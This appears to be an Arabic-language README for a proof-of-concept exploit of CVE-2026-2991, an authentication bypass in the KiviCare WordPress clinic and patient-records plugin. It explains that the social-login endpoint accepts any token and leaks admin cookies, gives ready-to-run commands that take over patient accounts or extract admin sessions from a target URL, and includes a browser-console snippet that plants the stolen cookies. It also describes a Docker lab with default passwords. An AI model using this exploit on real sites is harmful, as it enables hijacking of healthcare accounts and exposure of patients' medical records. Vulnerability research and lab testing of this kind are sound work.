
استغلال PoC لثغرة CVE-2026-2991 — تجاوز المصادقة في إضافة KiviCare لـ WordPress (≤4.1.2) مما يسمح بالاستيلاء على حسابات المرضى دون مصادقة واستخراج جلسات المسؤول.
CVE-2026-2991 هي ثغرة تجاوز مصادقة في إضافة ووردبريس KiviCare – نظام إدارة العيادات والمرضى (EHR) تؤثر على جميع الإصدارات حتى 4.1.2 وما دون.
تعرض الإضافة نقطة نهاية REST عامة على /wp-json/kivicare/v1/auth/patient/social-login والتي تقوم بمصادقة المستخدمين عبر تسجيل الدخول الاجتماعي. تقبل دالة patientSocialLogin() عنوان بريد إلكتروني ورمز وصول ولكنها لا تتحقق أبدًا من الرمز مقابل مزود الخدمة الاجتماعية المزعوم. يمكن لأي مهاجم غير مصادق تسجيل الدخول كأي مريض مسجّل بمجرد توفير بريده الإلكتروني وأي سلسلة عشوائية كرمز.
بالإضافة إلى ذلك، يتم إصدار كوكيز مصادقة ووردبريس قبل فرض التحقق من دور المريض. وهذا يعني أنه بالنسبة للحسابات غير المريضة (بما في ذلك حسابات المسؤولين)، تُرجع نقطة النهاية رمز HTTP 403 مع أنها لا تزال تتضمن ترويسات Set-Cookie صالحة — مما يؤدي إلى تسريب جلسة مسؤول قابلة لإعادة الاستخدام للمهاجم.
الإصدارات المتأثرة: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
تجاوز المصادقة لمريض مسجّل. يُرجع البرنامج النصي الجلسة الكاملة، بما في ذلك nonce وكوكيز قابلة لإعادة الاستخدام.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

قدّم بريد أي مستخدم غير مريض (مثل مسؤول). تصدر نقطة النهاية كوكيز مصادقة صالحة قبل التحقق من الدور وتُرجع 403 — يتم استخراج تلك الكوكيز وعرضها.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

بعد تنفيذ ناجح، يطبع البرنامج النصي مقتطف JavaScript. افتح الموقع المستهدف في متصفحك، والصق المقتطف في وحدة تحكم المتصفح (F12 → Console)، ثم اضغط Enter — سيعيّن الكوكيز المسروقة وينقلك تلقائيًا إلى لوحة التحكم.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
بيئة Docker Compose مكتفية ذاتيًا مع الإضافة الهشّة مثبّتة مسبقًا ومزوّدة ببيانات اختبار واقعية. راجع DOCKER.md لمزيد من التفاصيل.
cd docker/
docker compose up
يقوم المختبر بإنشاء الحسابات التالية عند أول تشغيل:
| الدور | اسم المستخدم | البريد الإلكتروني | كلمة المرور |
|---|---|---|---|
| مسؤول | admin | [email protected] | admin |
| طبيب | dr.harris | [email protected] | Doctor@123 |
| طبيب | dr.chen | [email protected] | Doctor@123 |
| طبيب | dr.okonkwo | [email protected] | Doctor@123 |
| مريض | james.ford | [email protected] | Patient@123 |
| مريض | sofia.reyes | [email protected] | Patient@123 |
| مريض | oliver.knight | [email protected] | Patient@123 |
| مريض | amara.diallo | [email protected] | Patient@123 |
| مريض | dan.walsh | [email protected] | Patient@123 |
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
هذه الأداة مقدمة لأغراض تعليمية وبحثية فقط. لا يتحمل المنشئ أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.